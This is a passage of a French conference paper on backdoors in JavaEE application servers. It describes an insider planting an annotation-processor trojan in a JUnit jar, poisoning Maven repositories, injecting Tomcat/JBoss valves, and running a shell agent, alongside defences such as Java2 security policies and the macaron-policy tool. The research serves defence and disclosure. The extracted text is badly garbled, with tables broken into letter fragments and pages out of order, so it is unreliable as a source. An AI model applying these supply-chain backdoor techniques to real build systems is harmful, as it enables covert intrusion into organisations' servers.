Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

